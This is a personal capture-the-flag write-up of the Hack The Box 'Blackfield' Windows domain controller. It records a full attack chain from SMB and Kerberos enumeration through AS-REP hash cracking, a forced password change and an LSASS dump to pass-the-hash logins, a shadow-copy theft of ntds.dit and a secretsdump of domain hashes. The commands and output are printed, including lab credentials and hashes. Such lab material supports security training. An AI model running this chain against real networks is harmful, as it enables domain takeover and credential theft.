40 HTB BlackField

1. **Objectives**

```
1. SMB Enumeration
2. Kerberos User Enumeration (Kerbrute)
3. ASRepRoast Attack (GetNPUsers)
4. Bloodhound Enumeration
5. Abusing ForceChangePassword Privilege (net rpc)
6. Lsass Dump Analysis (Pypykatz)
7. Abusing WinRM
8. SeBackupPrivilege Exploitation
9. DiskShadow
10. Robocopy Usage
11. NTDS Credentials Extraction (secretsdump
```

2. **ping**

> 1. **This is the very first thing I always run before an Nmap scan. Ping and a python ping script. I also sometimes run Whatweb or even Nikto, Recon-NG webcrawler module before even running an nmap scan. This is the passive/aggressive portion of the recon phase of hacking. The starting point basically. It should answer the question. What are we working with. What ports, what OS, what frameworks, etc...**

3. **Ping and whichsystem.py script**

```
1. ~/hackthebox ▷ ping -c 1 10.10.10.192
PING 10.10.10.192 (10.10.10.192) 56(84) bytes of data.
64 bytes from 10.10.10.192: icmp_seq=1 ttl=127 time=157 ms
--- 10.10.10.192 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 156.503/156.503/156.503/0.000 ms

2. ~/hackthebox ▷ whichsystem.py blackfield.htb
blackfield.htb (ttl -> 1): Linux
3. ~/hackthebox ▷ whichsystem.py 10.10.10.192
10.10.10.192 (ttl -> 127): Windows
```

> **I found it odd that using the python ping script to find the `TTL` using the `hostname` came back as Linux, but using the IP it came back as Windows. Which it is a Windows machine. This isn't important but as a hacker I just find such oddities very curious.**
> 3. ***NMAP* then *CME* first thing ran after nmap and we find a *build number*.**

```
1. NMAP - in the nmap scan I found blackfield.local so I added it to the /etc/hosts file
2. (.venv) ~/.cmegit/CrackMapExec (master ✔) ▷ crackmapexec smb blackfield.local
.....................................................................
SMB         blackfield.local 445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01)
(domain:BLACKFIELD.local) (signing:True) (SMBv1:False)
```

- *#pwn_windows_server_build_number_search_using_CME*
- *#pwn_windows_find_server_info_with_build_number_CME*

4. **Do a google search for `server version releases` and paste the build number 17763 and it will give you detailed info**

```
1. LINK https://learn.microsoft.com/en-us/windows-server/get-started/windows-server-release-info
2. Search on the page for the build number 17763 and it will give you the below info
3. |Windows Server 2019 (version 1809)|Long-Term Servicing Channel (LTSC)|Datacenter, Essentials, Standard|2018-
11-13|17763.107|2024-01-09|2029-01-09|
```

5. ***SMBMAP***

```
~/hackthebox ▷ smbmap -H 10.10.10.192 --no-banner
[+] IP: 10.10.10.192:445        Name: blackfield.local          Status: Authenticated
[!] Something weird happened: SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested
access to an object but has not been granted those access rights.) on line 967
```

6. **SMBMAP works with null session on this box**

```
~/hackthebox ▷ smbmap -H 10.10.10.192 -u 'nullsession' --no-banner
.....................................................................
[+] IP: 10.10.10.192:445        Name: blackfield.local          Status: Guest session
        Disk                    Permissions     Comment
        ----                    -----------     -------
        ADMIN$                  NO ACCESS       Remote Admin
        C$                      NO ACCESS       Default share
        forensic                NO ACCESS       Forensic / Audit share.
        IPC$                    READ ONLY       Remote IPC
```

```
        NETLOGON        NO ACCESS     Logon server share
        .profiles$      READ ONLY
        SYSVOL          NO ACCESS     Logon server share
```

7. **He runs *SMBCLIENT* to give the same thing but he likes *SMBMAP* because it gives you the *permissions*.**

```
~/hackthebox ▷ smbclient -L 10.10.10.192 -N

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        forensic        Disk      Forensic / Audit share.
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share
        profiles$       Disk
        SYSVOL          Disk      Logon server share
SMB1 disabled -- no workgroup available
```

- *#pwn_smbmap_is_better_than_smbclient*
- *#pwn_smbmap_enum_share_nullsession*

8. **Let's enumerate `profiles$` using *SMBMAP.***

```
1. smbmap -H 10.10.10.192 -u 'nullsession' -r 'profiles$'
```

> 1. **We get a ton of crap back I didn't note it because there is too much crap**
> 2. **I cleaned up all the output. They seem to be user profiles. So these names might be on this box for a password spray.**

```
~/hackthebox/blackfield ▷ cat users | awk -F" " '{print $8}' | sort -u > users.txt
```

- *#pwn_awk_clean_users_file_htb_blackfield*
- *#pwn_awk_print_last_column_only*

10. **Of course he wants to be fancy and shows us an awk to grep only the last column in a row of columns and do it inside the smbmap command for optimum effeciency! lol**

```
1. smbmap -H 10.10.10.192 -u 'nullsession' -r 'profiles$' | awk 'NF{print $NF}' > userslist
2. All the names are unique because I tried it with the sort -u and then this command without sort -u and the wc
-c was the same 3044
3. ~/hackthebox/blackfield ▷ wc -c users.txt
3044 users.txt
4. ~/hackthebox/blackfield ▷ wc -c userslist
3044 userslist
```

Kerbrute Valid Users

- *#pwn_kerbrute_check_for_valid_users_HTB_Blackfield*

11. ***Best thing to do is to check which names are valid and we do that with `Kerbrute`***

```
1. kerbrute (For help menu)
2. kerbrute --dc 10.10.10.192 -d blackfield.local users.txt
3. userenum = I forgot to use the userenum flag
4. ~/hackthebox/blackfield ▷ kerbrute userenum --dc 10.10.10.192 -d blackfield.local users.txt
5. SUCCESS we got several valid username and a hash but I do not think it is crackable. I have noticed that
asrep$18 hashes are not crackable asrep$23 hashes are. Not sure about this though.
6. $krb5asrep$18$support@BLACKFIELD.LOCAL:<SNIP>
```

12. **We can try to user `GetNPUsers.py` this one is different from `GetUserSPNs.py`. With the first one we are looking for *TGTs* from a valid user list that we have.**

GREP cool command

- *#pwn_grep_for_line_number_of_a_string*
- *#pwn_grep_line_number_of_a_string_htb_blackfield*

13. **Find the line number that starts ^ with this to the end $ using grep.**

```
~/hackthebox/blackfield ▷ grep -n "^svc_backup$" users.txt
261:svc_backup
```

> 1. **What he did here was that he knew `svc_backup` was a valid user so he grepped it from the `users.txt` list so that he would know what line `kerbrute` was on. 31337**

John The Ripper `$krb5asrep$18$` not crackable *FIX*

- *#pwn_john_the_ripper_krbasrep18_not_crackable_htb_blackfield*

14. **I tried cracking the hash I got back from kerbrute as noted above that hash type requires cygopencl which can be obtained from a Windows system.**

- *#pwn_kerbrute_downgrade_attack_HTB_Blackfield*

```
1. $krb5asrep$18$support@BLACKFIELD.LOCAL:<SNIP>
2. not crackable or I do not know how to get around this.
3. ~/hackthebox/blackfield ▷ sudo john -w:/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt 18hash
4. FAILED
5. ~/hackthebox/blackfield ▷ sudo john -w:/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt 18hash --format=krb5asrep-aes-opencl
No OpenCL devices found
2. I found this article
3. https://github.com/openwall/john/issues/4327
4. Copy OpenCL.dll installed in C:\Windows\System32 to JTRs run directory, and rename it to cygOpenCL-1.dll.
5. SUCCESS, I found a way around this. You can run kerbrute with --downgrade to downgrade the hash to a crackable version.
6. ~/hackthebox/blackfield ▷ kerbrute userenum --dc 10.10.10.192 -d blackfield.local users.txt --downgrade
7. Hashtype we are looking for that is crackable is `$krb5asrep$23`
8. Originally I tried to crack it with the seclist 10million list but that failed then I tried rockyou.txt and it worked.
9. ~/hackthebox/blackfield ▷ sudo john -w:/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt 23hash
10. FAILED
11. ~/hackthebox/blackfield ▷ sudo john --wordlist=rockyou.txt 23hash
12. SUCCESS
13. ~/hackthebox/blackfield ▷ jbat creds.txt
14. '#00^BlackKnight'  ($krb5asrep$23$support@BLACKFIELD.LOCAL)
```

15. **I check the credentials to with CrackMapExec to see if they work**

```
1. (.venv) ~/.cmegit/CrackMapExec (master ✔) ▷ crackmapexec smb 10.10.10.192 -u 'support' -p '#00^BlackKnight'
SMB         10.10.10.192    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)
SMB         10.10.10.192    445    DC01             [+] BLACKFIELD.local\support:#00^BlackKnight
2. You can not see it but it gives me a green light with SMB but not with winrm
```

16. **See what access we have with *SMBMAP***

```
1. root@kali> smbmap -H 10.10.10.192 -u support -p '#00^BlackKnight'
2. [+] IP: 10.10.10.192:445     Name: blackfield.local          Status: Authenticated
        Disk                    Permissions     Comment
        ----                    -----------     -------
    IPC$                    READ ONLY Remote IPC
        NETLOGON                READ ONLY       Logon server share
        profiles$               READ ONLY
        SYSVOL                  READ ONLY       Logon server share
```

17. **I looked at 0xdf walk through and Z4vitar's as well. Basically the ldap search doesn't do anything and neither does the GetUserSPNs.py doesn't work either. What did work is Bloodhound-Python.**

```
1. root@kali> ldapsearch -h 10.10.10.192 -b "DC=BLACKFIELD,DC=local" -D 'support@blackfield.local' -w '#00^BlackKnight' > support_ldap_dump
2. FAIL, it does a very long verbose output but nothing useful no passwords
3. root@kali> GetUserSPNs.py -request -dc-ip 10.10.10.192 'blackfield.local/support:#00^BlackKnight'
Impacket v0.9.22.dev1+20200422.223359.23bbfbe1 - Copyright 2020 SecureAuth Corporation
No entries found!
4. FAIL, no entries found...
```

Bloodhound Python actually worked this time

- *#pwn_bloodhound_python_actually_worked_HTB_Blackfield*

18. ***Bloodhound-Python* worked really good for me here. Produces only 4 files for `0xdf` and it produces 6 json files for me.**

```
1. ~/hackthebox/blackfield/bloodhound_ingestors ▷ bloodhound-python -c ALL -u support -p '#00^BlackKnight' -d blackfield.local -dc dc01.blackfield.local -ns 10.10.10.192
2. NOTICE : I did not need to use sudo nor did I need to run it in a .venv
3. ~/hackthebox/blackfield/bloodhound_ingestors ▷ ls
.rw-r--r--  47k pepe 12 Oct 04:02 20231012040145_computers.json
.rw-r--r--  56k pepe 12 Oct 04:02 20231012040145_containers.json
.rw-r--r-- 3.1k pepe 12 Oct 04:02 20231012040145_domains.json
```

```
.rw-r--r-- 4.0k pepe 12 Oct 04:01 20231012040145_gpos.json
.rw-r--r--  81k pepe 12 Oct 04:01 20231012040145_groups.json
.rw-r--r-- 1.7k pepe 12 Oct 04:01 20231012040145_ous.json
.rw-r--r-- 784k pepe 12 Oct 04:01 20231012040145_users.json
```

LDAPDOMAINDUMP ~ Although the syntax for this command like LDAPSEARCH is a pain. When this does work it spits out a-lot of good information in a searchable and human readable html files or json files.31337

- *#pwn_ldapdomaindump_rocks_htb_blackfield*

19. **Here is the command I ran. Pay attention to the syntax this tool is *very picky about the syntax* or it won't run.**

```
1. ~/hackthebox/blackfield ▷ ldapdomaindump -u blackfield.local\\support -p '#00^BlackKnight' blackfield.local -o
ldapdomaindump.out
2. A-lot of data in a very readable formats
3. ~/hackthebox/blackfield/ldapdomaindump.out ▷ ls
.rw-r--r-- 2.7k pepe 12 Oct 04:45 domain_computers.grep
.rw-r--r-- 6.2k pepe 12 Oct 04:45 domain_computers.html
.rw-r--r--  40k pepe 12 Oct 04:45 domain_computers.json
.rw-r--r-- 6.5k pepe 12 Oct 04:45 domain_computers_by_os.html
.rw-r--r--  10k pepe 12 Oct 04:45 domain_groups.grep
.rw-r--r--  17k pepe 12 Oct 04:45 domain_groups.html
.rw-r--r--  79k pepe 12 Oct 04:45 domain_groups.json
.rw-r--r--  262 pepe 12 Oct 04:45 domain_policy.grep
.rw-r--r-- 1.2k pepe 12 Oct 04:45 domain_policy.html
.rw-r--r-- 6.0k pepe 12 Oct 04:45 domain_policy.json
.rw-r--r--   71 pepe 12 Oct 04:45 domain_trusts.grep
.rw-r--r--  828 pepe 12 Oct 04:45 domain_trusts.html
.rw-r--r--    2 pepe 12 Oct 04:45 domain_trusts.json
.rw-r--r--  63k pepe 12 Oct 04:45 domain_users.grep
.rw-r--r-- 146k pepe 12 Oct 04:45 domain_users.html
.rw-r--r-- 911k pepe 12 Oct 04:45 domain_users.json
.rw-r--r-- 108k pepe 12 Oct 04:45 domain_users_by_group.html
```

- *#pwn_rpcclient_htb_blackfield*

20. ***RPRCCLIENT***

```
1. rpcclient -U "support%#00^BlackKnight" 10.10.10.192
2. rpcclient $> enumdomusers
.............................................
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[audit2020] rid:[0x44f]
user:[support] rid:[0x450]
```

NET RPC PASSWORD

- *#pwn_ForceChangePassword_net_rpc_password*
- *#pwn_net_rpc_passwordaa_FORCECHANGEPASSWORD*

Force Change Password `"feature"`

- *#pwn_net_rpc_password_knowledge_base*

21. ***net rpc password***

```
1. net rpc password
2. The command above will give you the help menu
3. net rpc password audit2020 -U 'support' -S 10.10.10.192
4. Apparantly with this tool you can change a domain users password because the 'audit2020' has the
'ForceChangePassword' feature enabled, and is therefore susceptable to abuse
5. SUCCESS! We can verify the password has been change with CME
```

22. `CrackMapExec` ***verify the changing of password for user*** `audit2020`.

```
1. (.venv) ~/.cmegit/CrackMapExec (master ✔) ▷ crackmapexec smb 10.10.10.192 -u 'audit20202' -p 'test123$!'
.............................................................
SMB  10.10.10.192 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True)
(SMBv1:False)
SMB  10.10.10.192  445  DC01 '[+]'BLACKFIELD.local\audit20202:test123$!
```

```
2. You can not really see it very well, but the plus sign is green which means that the user and password are valid.
```

23. **SMBMAP as** `audit2020`

```
1. ~/hackthebox/blackfield ▷ smbmap -H 10.10.10.192 -u 'audit2020' -p 'test123$!'
2. SUCCESS we have access to a new share called 'forensic'
3. forensic  READ ONLY  Forensic / Audit share.
4. smbmap -H 10.10.10.192 -u 'audit2020' -p 'test123$!' -r forensic --no-banner
5. Three directories
        dr--r--r--                0 Sun Feb 23 12:14:37 2020    commands_output
        dr--r--r--                0 Thu May 28 15:29:24 2020    memory_analysis
        dr--r--r--                0 Fri Feb 28 16:30:34 2020    tools
6. ~/hackthebox/blackfield ▷ smbmap -H 10.10.10.192 -u 'audit2020' -p 'test123$!' -r forensic/memory_analysis --
no-banner
7. Crap load of zip files
8. Lets grab lsass.zip
9. smbmap -H 10.10.10.192 -u 'audit2020' -p 'test123$!' --download forensic/memory_analysis/lsass.zip --no-banner
10. SUCCESS, it is encoded I have no idea how to crack it we will see what S4vitar has in mind
11. I forgot we can list a passworded or encrypted zip file with 7z
12. ~/hackthebox/blackfield/lsass ▷ 7z l lsass.zip
13. Actually the zip file is not passworded the lsass.DMP inside is encrypted though
14. unzip lsass.zip
15. file lsass.DMP
```

PYPYKATZ

- *#pwn_lsas_file_decrypt_using_pypypkatz_HTB_Blackfield*
- *#pwn_pypykatz_for_lsass_encrypted_file_decryption*

24. **Use pypykatz to decrypt the dump file**

```
1. pypykatz lsa minidump lsass.DMP
2. I copy and pasted the contents to 'lsass_decrypted'
3. Then I grepped for administrator and found the hash
4. grep -iR "administrator" -A4 -B4 lsass_decrypted 2>/dev/null
.............................................................
               Username: Administrator
               Domain: BLACKFIELD
               LM: NA
               NT: 7f1e4ff8c6a8e6b6fcae2d9c0572cd62
               SHA1: db5c89a961644f0978b4b69a4d2a2239d7886368
               DPAPI: 240339f898b6ac4ce3f34702e4a89550
5. The hash we need is the NT hash. We can use it with CME to make sure it is valid.
6. crackmapexec smb 10.10.10.192 -u 'Administrator' -H '7f1e4ff8c6a8e6b6fcae2d9c0572cd62'
7. FAIL  [-] BLACKFIELD.local\Administrator:7f1e4ff8c6a8e6b6fcae2d9c0572cd62 STATUS_LOGON_FAILURE
```

25. **Since the** `administrator` **hash failed we can look at** `svc_backup` **and see what we can get with that hash.**

```
1. grep -iR "svc_backup" -A4 -B4 lsass_decrypted 2>/dev/null
2. SUCKCESS we find it and the account SID just incase we need it
3.              Username: svc_backup
                sid S-1-5-21-4194615774-2175524697-3563712290-1413
                Domain: BLACKFIELD
                LM: NA
                NT: 9658d1d1dcd9250115e2205d9f48400d
                SHA1: 463c13a9a31fc3252c68ba0a44f0221626a33e5c
                DPAPI: a03cd8e9d30171f3cfe8caad92fef621
```

26. **So let's check it out and make sure it is valid with** `CrackMapExec`**.**

```
1. crackmapexec smb 10.10.10.192 -u 'svc_backup' -H '9658d1d1dcd9250115e2205d9f48400d'
2. SUCKSESS!!!
3. (.venv) ~/.cmegit/CrackMapExec (master ✔) ▷ crackmapexec smb 10.10.10.192 -u 'svc_backup' -H
'9658d1d1dcd9250115e2205d9f48400d'
SMB 10.10.10.192  445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True)
(SMBv1:False)
SMB 10.10.10.192  445 DC01 '[+]' BLACKFIELD.local\svc_backup:9658d1d1dcd9250115e2205d9f48400d
```

Initial Foothold Shell

PROTIP

> *Remote Management Users Group*

The reason svc_backup account was able to winrm into the domain is because the account is a part of the `Remote Management Users Group`

27. **Now we can try to see if CME will tell us if we have *winrm* authorization as well with this account.**

- *#pwn_crackmapexec_hash_authentication*

```
1. crackmapexec winrm 10.10.10.192 -u 'svc_backup' -H '9658d1d1dcd9250115e2205d9f48400d'
2. SUCKCESS!!!
3. '[+]' BLACKFIELD.local\svc_backup:9658d1d1dcd9250115e2205d9f48400d .Pwn3d!
```

- *#pwn_evil_winrm_hash_authentication*

28. ***evil-winrm* login now with `svc_backup`**

```
1. ~/hackthebox/blackfield ▷ evil-winrm -i 10.10.10.192 -u 'svc_backup' -H '9658d1d1dcd9250115e2205d9f48400d'
2. SUCKCESS!!!
3. *Evil-WinRM* PS C:\Users\svc_backup\Documents> whoami
blackfield\svc_backup
```

Windows PrivEsc Reg Query Cheat Sheets

30. ***Systeminfo command access denied*. You can still get the system info with this registry query command**

```
1. https://mivilisnet.wordpress.com/2020/02/04/how-to-find-the-windows-version-using-registry/
2. ~/hackthebox/blackfield ▷ reg query "hklm\software\microsoft\windows nt\currentversion" /v ProductName
3. You can do the same thing by running CME with smb flag
4. cme smb 10.10.10.192
5. That will give you the build number that you can look up at this link:
6. https://learn.microsoft.com/en-us/windows-server/get-started/windows-server-release-info
7. Or you can just google 'server version releases'
```

- *#pwn_registry_query_links*
- *#pwn_windows_registry_query_links*
- *#pwn_windows_privesc_cheatsheets_links*
- *#pwn_Windows_PrivEsc_Reg_Query_Cheat_Sheets*

31. **That reg query kind of sucked. Here are links to *req query cheat sheets* and *windows privesc pages* that have registry queries.**

```
1. https://svch0st.medium.com/active-directory-recon-cheat-sheet-76ccc16dc6e8 (TERMINAL REG QUERY CHEATSHEET)
2. https://github.com/nisargsuthar/RegistryForensicsCheatSheet   (WINDOWS FORENSICS CHEATSHEET EXPLORE REGISTRY USING REGEDIT32.EXE NOT TERMINAL)
3. https://www.noobsec.net/privesc-windows/ (THIS IS A GENERAL WINDOWS PRIVESC PAGE BUT IT HAS REGISTRY QUERIES IN IT)
```

32. **We run whoami all to see what privs we have.**

```
1. *Evil-WinRM* PS C:\Users\svc_backup> whoami /all
PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
.SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
```

33. **Here you can see we have the `SeBackupPrivilege`. With this privilege we can backup the *SYSTEM* and *SAM* files.**

```
1. mkdir a temp diectory and cd into it
2. *Evil-WinRM* PS C:\> mkdir Temp
3. *Evil-WinRM* PS C:\> cd Temp
4. Now make a backup copy of the system registry since we have the backup privilege we should be able to pull this off
5. *Evil-WinRM* PS C:\Temp> reg save HKLM\system system
The operation completed successfully.
6. Now copy the SAM registry file
7. *Evil-WinRM* PS C:\Temp> reg save HKLM\sam sam
The operation completed successfully.
```

34. **Now lets download these files to our attacker machine. Blackfield is Pwnt at this point.**

```
*Evil-WinRM* PS C:\Temp> download C:\Temp\sam
Info: Downloading C:\Temp\sam to sam
Info: Download successful!
.....................................................
*Evil-WinRM* PS C:\Temp> download C:\Temp\system
Info: Downloading C:\Temp\system to system
Info: Download successful!
```

35. **Now that we have those important files on our machine the system is PWN3D forget about it. lol. Let's run `secretsdump.py` and dump all the hashes on the domain.**

```
1. (.venv) ~/python_projects/.impacketgit/impacket/examples (master ✘)★ ▷ ./secretsdump.py -system
~/hackthebox/blackfield/system -sam ~/hackthebox/blackfield/sam LOCAL | tee
~/hackthebox/blackfield/secretsdump.hashes
Impacket v0.12.0.dev1+20230914.14950.ddfd9d4c - Copyright 2023 Fortra

[*] Target system bootKey: 0x73d83e56de8961ca9f243e1a49638393
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:67ef902eae0d740df6257f273de75051:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Cleaning up...
```

36. **I checked the administrator hash with CrackMapExec and unfortunately it was a fail because these hashes are for the local system and not the domain hashes. I thought these were the domain hashes. *I learned that in order to get the domain hashes we are going to need the `ntds.dit` file.***

```
(.venv) ~/.cmegit/CrackMapExec (master ✔) ▷ crackmapexec smb 10.10.10.192 -u 'Administrator' -H
'67ef902eae0d740df6257f273de75051'
.........................................................
SMB         10.10.10.192    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01)
(domain:BLACKFIELD.local) (signing:True) (SMBv1:False)
SMB         10.10.10.192    445    DC01             [-]
BLACKFIELD.local\Administrator:67ef902eae0d740df6257f273de75051 .STATUS_LOGON_FAILURE
```

37. **Lets get the `ntds.dit` file.**

> 1. **The location of the file is this:**
> 2. `C:\Windows\NTDS\ntds.dit`
> 3. **But access is denied**

Dumping Domain Password Hashes

38. **In order to bypass the restriction of copying the `ntds.dit` file we need to do use *Disk Shadow Copy*.**

```
1. *Evil-WinRM* PS C:\Temp> copy C:\Windows\NTDS\ntds.dit ntds.dit
Access to the path 'C:\Windows\NTDS\ntds.dit' is denied.
2. Here is a link on how to do this
3. Google 'pentestlab shadow copy'
4. https://pentestlab.blog/tag/vssadmin/
```

39. **Steps for dumping the hashes using *Disk Shadow***

```
1. copy these contents to test.txt. You do not need the last 3 lines, and change the alias to whatever. This is
at the link above just scroll down.
.........................................................
set context persistent nowriters
add volume c: alias ninjahacker
create
expose %sninjahacker% z:

2. *Evil-WinRM* PS C:\Temp> upload test.txt

3. Now pass diskshadow.exe the file we uploaded to the temp dir

4. *Evil-WinRM* PS C:\Temp> diskshadow.exe /s c:\Temp\test.txt

5. Execute the command and look at the output
.........................................................
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer:  DC01,  10/13/2023 6:35:28 AM
-> set context persistent nowriter

SET CONTEXT { CLIENTACCESSIBLE | PERSISTENT [ NOWRITERS ] | VOLATILE [ NOWRITERS ] }
```

```
        CLIENTACCESSIBLE        Specify to create shadow copies usable by client versions of Windows.
        PERSISTENT              Specify that shadow copy is persist across program exit, reset or reboot.
        PERSISTENT NOWRITERS    Specify that shadow copy is persistent and all writers are excluded.
        VOLATILE                Specify that shadow copy will be deleted on exit or reset.
        VOLATILE NOWRITERS      Specify that shadow copy is volatile and all writers are excluded.

Example: SET CONTEXT CLIENTACCESSIBLE

6. Erase the current test.exe
```

40. **I could not get this to work using Zavitar method I will use 0xdf method. The file is exactly the same pick any alias and delete the last 3 lines and upload it**

```
1. *Evil-WinRM* PS C:\Temp> cd C:\Windows\System32
2. *Evil-WinRM* PS C:\Windows\System32> upload vss.dsh c:\programdata\vss.dsh
3. Errors out and does the same exact thing as before. It is erroring on the st the end so we need to convert
this file to msdos format. See below explaination.
```

- *#pwn_dos2unix*
- *#pwn_unix2dos*

1. **Like I said it did exactly the same thing as with Zavitar. I didn't know what he was talking about so below is what we need to do to the file. Run this command delete the one that is uploaded and then rerun the command.**

```
It took me a few minutes to catch the error here. It's breaking on the first line. Eventually I noticed that it
was failing on the line ending with nowriter, but my input ended with nowriters (notice the s). That got me
thinking it might have to do with endlines. I ran unix2dos on my local host and uploaded it again.

root@kali# unix2dos vss.dsh
unix2dos: converting file vss.dsh to DOS format...
```

42. **I finally got it to work here are the steps**

```
1. You have to modify the vss.dsh file put set infront of the commands
2. set context persistent nowriters
set metadata c:\programdata\ninjahacker.cab
set verbose on
add volume c: alias ninjahacker
create
expose %ninjahacker% z:
 3. Convert it to DOS
 4. /usr/share/evil-winrm (master ✔) ▷ unix2dos vss.dsh
 5. delete the previous one
 6. *Evil-WinRM* PS C:\Windows\System32> erase c:\programdata\vss.dsh
 7. upload it again this time fixed correctly. We could have uploaded it to C:\Temp but it is whatever this
directory still works.
 8. *Evil-WinRM* PS C:\Windows\System32> upload vss.dsh c:\programdata\vss.dsh
 9. Execute Diskshadow.exe
 10. *Evil-WinRM* PS C:\Windows\System32> diskshadow /s c:\programdata\vss.dsh
 11. SUCCESS!!!
 12. CD into z:
 13. dir z:\
```

43. **Dir the `Z:\` drive and copy over `ntds.dit` file**

```
1. *Evil-WinRM* PS C:\Windows\System32> dir z:\
2. *Evil-WinRM* PS C:\Windows\System32> dir z:\Windows\NTDS
LastWriteTime         Length Name
-------------         ------ ----
10/13/2023 4:01 AM   18874368 ntds.dit
3. *Evil-WinRM* PS C:\Windows\System32> copy z:\Windows\NTDS\ntds.dit
Access to the path 'z:\Windows\NTDS\ntds.dit' is denied.
```

44. **We got an access denied so he uses *robocopy* that is a builtin in Windows. The dot is saying *copy this entire folder NTDS* into this directory and name it ntds.dit**

```
1. ROBOCOPY     ::     Robust File Copy for Windows
------------------------------------------------------------------------------
2. I realized I was in the wrong directory. I have no idea what /b is doing in the below command. Anywyay, I
changed to C:\Temp and it worked...
3. *Evil-WinRM* PS C:\Windows\System32> cd C:\Temp
4. *Evil-WinRM* PS C:\Temp> robocopy /b z:\Windows\NTDS\ . ntds.dit

------------------------------------------------------------------------------
   ROBOCOPY     ::     Robust File Copy for Windows
------------------------------------------------------------------------------
```

```
  Started : Friday, October 13, 2023 7:42:59 AM
   Source : z:\Windows\NTDS\
     Dest : C:\Temp\

    Files : ntds.dit

  Options : /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30
100%
```

45. **Finally, we download the `ntds.dit` *which is actually the entire directory of* `C:\Windows\NTDS`, but it doesn't matter it will still work with `secretsdump.py` just make sure it is named `ntds.dit`.**

```
1. *Evil-WinRM* PS C:\Temp> download ntds.dit
2. Downloading the entire directory so this is going to take a minute or two.
3. Info: Download successful!
4. That took a long time and it was only 18MB lol
5. ~/hackthebox/blackfield ▷ du -h ntds.dit
18M     ntds.dit
```

46. **We do the *secretsdump.py* with the `ntds.dit` file this time and it works**

```
(.venv) ~/python_projects/.impacketgit/impacket/examples (master ✘)★ ▷ ./secretsdump.py -system
~/hackthebox/blackfield/system -ntds ~/hackthebox/blackfield/ntds.dit LOCAL | tee
~/hackthebox/blackfield/secretsdump.hashes
```

47. **I dump all the hashes to `secretsdump.hashes` and grab the administrator hash. I then run `CrackMapExec` with the *winrm flag* to see if I can Evil-Winrm as administrator into the box**

```
1. (.venv) ~/.cmegit/CrackMapExec (master ✔) ▷ crackmapexec winrm 10.10.10.192 -u 'Administrator' -H
'184fb5e5178480be64824d4cd53b99ee'
SMB         10.10.10.192    5985   DC01             [*] Windows 10.0 Build 17763 (name:DC01)
(domain:BLACKFIELD.local)
HTTP        10.10.10.192    5985   DC01             [*] http://10.10.10.192:5985/wsman
WINRM       10.10.10.192    5985   DC01             [+]
BLACKFIELD.local\Administrator:184fb5e5178480be64824d4cd53b99ee .Pwn3d!
2. SUCCESS!!!
```

48. **Lets *evil-winrm* into the box and go to sleep. So tired**

```
~ ▷ evil-winrm -i 10.10.10.192 -u 'Administrator' -H '184fb5e5178480be64824d4cd53b99ee'

Evil-WinRM shell v3.5

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
blackfield\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
*Evil-WinRM* PS C:\Users\Administrator> type C:\Users\Administrator\Desktop\root.txt
4375a629c7c67c8e29db269060c955cb
```

49. **WE GOT THE ROOT FLAG BYE GNIGHT**